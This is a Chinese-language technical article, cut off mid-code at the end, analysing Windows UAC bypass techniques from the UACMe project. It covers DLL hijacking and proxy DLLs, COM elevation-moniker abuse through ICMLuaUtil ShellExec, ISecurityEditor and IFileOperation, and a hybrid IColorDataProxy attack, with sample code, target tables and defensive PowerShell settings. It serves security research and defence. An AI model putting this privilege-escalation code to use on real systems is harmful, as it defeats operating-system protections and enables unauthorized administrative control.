首页
/ UAC绕过方法大全:65种技术手段深度剖析

UAC绕过方法大全:65种技术手段深度剖析

2026-02-04 04:50:00作者:姚月梅Lane

本文深入分析了Windows UAC绕过技术的四大核心类别:DLL劫持类方法、COM接口滥用与权限提升技术、注册表操纵与Shell API利用,以及竞态条件与文件系统攻击技术。文章详细剖析了65种技术手段的工作原理、实现细节和防御措施,涵盖了从经典的DLL劫持到复杂的竞态条件攻击等多种方法,为安全研究人员和系统管理员提供了全面的技术参考和防护建议。

DLL劫持类方法的技术原理

DLL劫持(DLL Hijacking)是一种经典的Windows权限提升技术,它利用Windows动态链接库加载机制中的安全漏洞来实现UAC绕过。在UACMe项目中,DLL劫持类方法占据了重要地位,通过精心设计的恶意DLL替换系统关键组件,成功实现了权限提升。

Windows DLL加载机制分析

Windows系统在加载DLL时遵循特定的搜索顺序,这一机制为DLL劫持提供了可乘之机。系统会按照以下顺序搜索目标DLL:

flowchart TD
    A[应用程序启动] --> B[检查已知DLL列表]
    B --> C{是否在已知DLL中?}
    C -->|是| D[从KnownDLLs加载]
    C -->|否| E[检查应用程序目录]
    E --> F{找到目标DLL?}
    F -->|是| G[从应用目录加载]
    F -->|否| H[检查系统目录]
    H --> I{找到目标DLL?}
    I -->|是| J[从系统目录加载]
    I -->|否| K[检查当前工作目录]
    K --> L{找到目标DLL?}
    L -->|是| M[从工作目录加载]
    L -->|否| N[检查PATH环境变量目录]
    N --> O[最终加载结果]

核心攻击向量分析

UACMe项目中的DLL劫持方法主要针对以下几种关键场景:

1. 系统自动提权程序依赖缺失DLL

许多Windows系统程序具有自动提权特性,但它们可能依赖某些非核心系统DLL。攻击者通过放置恶意DLL在这些程序的搜索路径中,实现代码执行。

// UACMe中的通用自动提权函数示例
NTSTATUS ucmGenericAutoelevationEx(
    _In_opt_ LPCWSTR lpTargetApp,      // 目标应用程序
    _In_ LPCWSTR lpTargetDll,          // 目标DLL名称
    _In_opt_ LPCWSTR lpParameters,     // 启动参数
    _In_opt_ LPCWSTR lpSubDirectory,   // 子目录路径
    _In_ PVOID ProxyDll,               // 代理DLL内容
    _In_ DWORD ProxyDllSize            // DLL大小
)
{
    // 实现恶意DLL的部署和执行
    // ...
}

2. SXS(Side-by-Side)组件劫持

Windows的SXS机制允许不同版本的DLL共存,但这一机制也被攻击者利用:

sequenceDiagram
    participant A as 应用程序
    participant M as 清单文件
    participant S as SXS子系统
    participant D as 恶意DLL
    
    A->>M: 读取清单依赖信息
    M->>S: 请求COMCTL32.dll
    S->>D: 检查本地目录优先
    D->>A: 返回恶意DLL句柄
    A->>D: 执行恶意代码

3. 清单文件重定向攻击

应用程序清单文件可以指定DLL加载策略,攻击者通过伪造清单文件实现DLL重定向:

攻击类型 目标程序 劫持DLL 影响范围
标准劫持 sysprep.exe cryptbase.dll Windows 7-8.1
SXS劫持 consent.exe comctl32.dll 全版本Windows
导入转发 sysprep.exe unbcl.dll Windows 8.1-10
清单注入 taskhost.exe 任意DLL Windows 7-10

技术实现细节

DLL代理技术

UACMe使用精心设计的代理DLL来保持原始功能的同时注入恶意代码:

// 代理DLL的典型结构
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason, LPVOID lpReserved)
{
    switch (ul_reason) {
    case DLL_PROCESS_ATTACH:
        // 执行权限提升代码
        ExecutePrivilegeEscalation();
        break;
    case DLL_PROCESS_DETACH:
        // 清理代码
        break;
    }
    return TRUE;
}

// 保持原始导出函数
extern "C" __declspec(dllexport) void OriginalFunction1()
{
    // 转发到系统DLL或实现原始功能
}

extern "C" __declspec(dllexport) int OriginalFunction2(int param)
{
    // 保持兼容性
    return param;
}

文件操作技术

通过COM接口实现高权限文件操作,避免触发UAC提示:

// 使用IFileOperation接口部署恶意DLL
BOOL ucmMasqueradedMoveFileCOM(LPCWSTR lpSource, LPCWSTR lpDestination)
{
    // 初始化COM
    CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
    
    // 创建IFileOperation实例
    IFileOperation *pFileOp;
    CoCreateInstance(CLSID_FileOperation, NULL, CLSCTX_ALL, 
                    IID_PPV_ARGS(&pFileOp));
    
    // 设置操作选项
    pFileOp->SetOperationFlags(FOF_SILENT | FOF_NOCONFIRMATION);
    
    // 执行文件移动操作
    IShellItem *pSourceItem, *pDestItem;
    SHCreateItemFromParsingName(lpSource, NULL, IID_PPV_ARGS(&pSourceItem));
    SHCreateItemFromParsingName(lpDestination, NULL, IID_PPV_ARGS(&pDestItem));
    
    pFileOp->MoveItem(pSourceItem, pDestItem, NULL, NULL);
    pFileOp->PerformOperations();
    
    // 清理资源
    pSourceItem->Release();
    pDestItem->Release();
    pFileOp->Release();
    CoUninitialize();
    
    return TRUE;
}

防御机制与绕过技术

Windows系统不断加强对DLL加载的安全防护,但攻击者也在持续进化技术:

已知防御机制

  1. KnownDLLs保护:系统关键DLL被列入KnownDLLs注册表项,优先从系统目录加载
  2. 清单文件验证:增强对应用程序清单的签名验证和完整性检查
  3. 路径优先级调整:调整DLL搜索顺序,优先系统目录
  4. 代码签名验证:对加载的DLL进行数字签名验证

相应的绕过策略

  1. 针对非KnownDLLs:选择不在KnownDLLs列表中的DLL进行劫持
  2. 清单文件伪造:创建合法的清单文件实现重定向
  3. SXS机制滥用:利用Side-by-Side组装机制的加载优先级
  4. 导入表劫持:修改程序的导入表指向恶意DLL

实际攻击案例研究

UACMe项目中包含多个经典的DLL劫持案例,每个案例都展示了不同的技术特点:

案例1:sysprep.exe + cryptbase.dll劫持

  • 目标:系统准备工具sysprep.exe
  • 劫持DLL:cryptbase.dll(加密基础库)
  • 技术特点:利用sysprep.exe的自动提权特性
  • 影响范围:Windows 7至Windows 8.1

案例2:consent.exe + comctl32.dll SXS劫持

  • 目标:UAC同意对话框consent.exe
  • 劫持DLL:comctl32.dll(通用控件库)
  • 技术特点:利用SXS本地重定向特性
  • 特殊优势:consent.exe本身是UAC组件,具有最高权限

案例3:pkgmgr.exe + DismCore.dll劫持

  • 目标:包管理器pkgmgr.exe
  • 劫持DLL:DismCore.dll(部署映像服务管理库)
  • 技术特点:利用Windows更新组件的特权上下文
  • 持久性:该漏洞至今未被完全修复

检测与防护建议

针对DLL劫持攻击,建议采取以下防护措施:

  1. 启用DLL搜索顺序安全策略

    # 设置DLL搜索模式为SafeDllSearchMode
    Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" -Name "SafeDllSearchMode" -Value 1
    
    # 启用CWD保护
    Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" -Name "CWDIllegalInDllSearch" -Value 0xFFFFFFFF
    
  2. 实施应用程序控制策略

    # 使用AppLocker限制非授权DLL加载
    New-AppLockerPolicy -RuleType Publisher -User Everyone -FilePath "*.dll" -Action Deny
    
  3. 监控关键目录的DLL变化

    # 监控system32目录的DLL文件变化
    Get-ChildItem -Path "$env:windir\system32\*.dll" | Get-FileHash | Export-Csv -Path "C:\baseline\dll_hashes.csv"
    
  4. 启用Windows Defender攻击面减少规则

    # 启用阻止从USB设备加载DLL的规则
    Set-MpPreference -AttackSurfaceReductionRules_Ids "D4F940AB-401B-4EFC-AADC-AD5F3C50688A" -AttackSurfaceReductionRules_Actions Enabled
    

DLL劫持作为一种经典的权限提升技术,其核心在于对Windows加载机制的深刻理解和巧妙利用。随着Windows安全机制的不断完善,攻击者需要不断创新技术手段,而防御者也需要持续更新防护策略,在这场持续的安全对抗中保持警惕。

COM接口滥用与权限提升技术

在Windows安全体系中,用户账户控制(UAC)机制旨在防止未经授权的权限提升。然而,UACME项目揭示了Windows系统中存在的多个COM(Component Object Model)接口滥用漏洞,这些漏洞允许攻击者绕过UAC保护并获得管理员权限。COM接口滥用技术已成为现代Windows权限提升攻击中的重要手段。

COM接口自动提升机制

Windows系统中的某些COM组件被标记为"AutoElevate",这意味着它们可以在不需要用户明确同意的情况下以提升的权限运行。这种设计原本是为了提高系统组件的可用性,但却为攻击者提供了可乘之机。

flowchart TD
    A[普通用户进程] --> B[发现AutoElevate COM组件]
    B --> C[通过CoGetObject请求提升权限]
    C --> D[COM运行时验证组件标记]
    D --> E{是否AutoElevate?}
    E -->|是| F[创建提升的COM对象实例]
    E -->|否| G[权限提升失败]
    F --> H[获得管理员权限的COM接口]
    H --> I[执行特权操作]

主要COM接口滥用技术

1. ICMLuaUtil接口滥用

ICMLuaUtil接口是CMSTPLUA组件的一部分,提供了ShellExec方法,可以直接执行任意程序。该接口被标记为AutoElevate,使得攻击者能够通过以下代码获得提升的执行权限:

HRESULT ucmCMLuaUtilShellExecMethod(LPWSTR lpszExecutable)
{
    ICMLuaUtil* CMLuaUtil = NULL;
    HRESULT r = ucmAllocateElevatedObject(
        T_CLSID_CMSTPLUA,
        &IID_ICMLuaUtil,
        CLSCTX_LOCAL_SERVER,
        (void**)&CMLuaUtil);
    
    if (r == S_OK && CMLuaUtil != NULL) {
        r = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil,
            lpszExecutable, NULL, NULL, SEE_MASK_DEFAULT, SW_SHOW);
        CMLuaUtil->lpVtbl->Release(CMLuaUtil);
    }
    return r;
}

2. ISecurityEditor接口权限操纵

ISecurityEditor接口允许修改系统对象的安全描述符,攻击者可以利用此接口修改关键系统文件或注册表项的权限:

BOOL ucmMasqueradedSetObjectSecurityCOM(
    LPCWSTR lpTargetObject,
    SECURITY_INFORMATION SecurityInformation,
    SE_OBJECT_TYPE ObjectType,
    LPCWSTR NewSddl)
{
    ISecurityEditor* SecurityEditor = NULL;
    HRESULT r = ucmAllocateElevatedObject(
        T_CLSID_ShellSecurityEditor,
        &IID_ISecurityEditor,
        CLSCTX_LOCAL_SERVER,
        &SecurityEditor);
    
    if (r == S_OK && SecurityEditor != NULL) {
        r = SecurityEditor->lpVtbl->SetSecurity(
            SecurityEditor, lpTargetObject, ObjectType, 
            SecurityInformation, NewSddl);
        SecurityEditor->lpVtbl->Release(SecurityEditor);
    }
    return SUCCEEDED(r);
}

3. IFileOperation接口文件操作

IFileOperation接口提供了高级文件操作功能,攻击者可以利用其在系统目录中创建、移动或重命名文件:

BOOL ucmMasqueradedRenameElementCOM(LPCWSTR OldName, LPCWSTR NewName)
{
    IFileOperation* FileOperation = NULL;
    IShellItem* psiDestDir = NULL;
    
    HRESULT r = ucmAllocateElevatedObject(
        T_CLSID_FileOperation,
        &IID_IFileOperation,
        CLSCTX_LOCAL_SERVER,
        &FileOperation);
    
    if (r == S_OK && FileOperation != NULL) {
        // 设置文件操作标志
        FileOperation->lpVtbl->SetOperationFlags(FileOperation, 
            g_ctx->IFileOperationFlags);
        
        // 创建Shell项目并执行重命名操作
        SHCreateItemFromParsingName(OldName, NULL, &IID_IShellItem, &psiDestDir);
        FileOperation->lpVtbl->RenameItem(FileOperation, psiDestDir, NewName, NULL);
        FileOperation->lpVtbl->PerformOperations(FileOperation);
        
        // 释放资源
        if (psiDestDir) psiDestDir->lpVtbl->Release(psiDestDir);
        FileOperation->lpVtbl->Release(FileOperation);
    }
    return SUCCEEDED(r);
}

4. 混合COM接口攻击技术

UACME项目中还展示了多种COM接口的组合使用,例如同时滥用ICMLuaUtil和IColorDataProxy接口:

NTSTATUS ucmHybridCOMAttack(LPWSTR lpszPayload)
{
    ICMLuaUtil* CMLuaUtil = NULL;
    IColorDataProxy* ColorDataProxy = NULL;
    
    // 首先获取CMLuaUtil接口提升权限
    HRESULT r = ucmAllocateElevatedObject(
        T_CLSID_CMSTPLUA, &IID_ICMLuaUtil, CLSCTX_LOCAL_SERVER, &CMLuaUtil);
    
    if (SUCCEEDED(r) && CMLuaUtil != NULL) {
        // 使用CMLuaUtil修改注册表设置
        CMLuaUtil->lpVtbl->SetRegistryStringValue(CMLuaUtil, 
            HKEY_LOCAL_MACHINE, T_DISPLAY_CALIBRATION, T_CALIBRATOR_VALUE, lpszPayload);
        
        // 然后获取ColorDataProxy接口执行payload
        r = ucmAllocateElevatedObject(
            T_CLSID_ColorDataProxy, &IID_IColorDataProxy, CLSCTX_LOCAL_SERVER, &ColorDataProxy);
        
        if (SUCCEEDED(r) && ColorDataProxy != NULL) {
            // 触发自定义校准器执行
            ColorDataProxy->lpVtbl->LaunchAdvancedUI(ColorDataProxy);
            ColorDataProxy->lpVtbl->Release(ColorDataProxy);
        }
        CMLuaUtil->lpVtbl->Release(CMLuaUtil);
    }
    return SUCCEEDED(r) ? STATUS_SUCCESS : STATUS_ACCESS_DENIED;
}

COM接口滥用技术分类

根据UACME项目的实现,COM接口滥用技术可以分为以下几类:

技术类型 接口名称 目标组件 影响范围 修复状态
命令执行 ICMLuaUtil CMSTPLUA Windows 7+ 部分修复
权限修改 ISecurityEditor ShellSecurityEditor Windows 7-10 已修复
文件操作 IFileOperation FileOperation Windows 7+ 未完全修复
系统配置 IColorDataProxy ColorDataProxy Windows 7+ 部分修复
防火墙控制 IFwCplLua FwCplLua Windows 7+ 部分修复

技术实现原理

COM接口滥用技术的核心在于ucmAllocateElevatedObject函数,该函数使用提升的moniker来创建COM对象实例:

HRESULT ucmAllocateElevatedObject(
    LPCWSTR lpObjectCLSID, REFIID riid, DWORD dwClassContext, void **ppv)
{
    BIND_OPTS3 bop;
    WCHAR szMoniker[MAX_PATH];
    
    RtlSecureZeroMemory(&bop, sizeof(bop));
    bop.cbStruct = sizeof(bop);
    bop.dwClassContext = dwClassContext ? dwClassContext : CLSCTX_LOCAL_SERVER;
    
    // 构造提升的moniker字符串
    _strcpy(szMoniker, T_ELEVATION_MONIKER_ADMIN);
    _strcat(szMoniker, lpObjectCLSID);
    
    // 请求创建提升的COM对象
    return CoGetObject(sz
登录后查看全文
热门项目推荐
相关项目推荐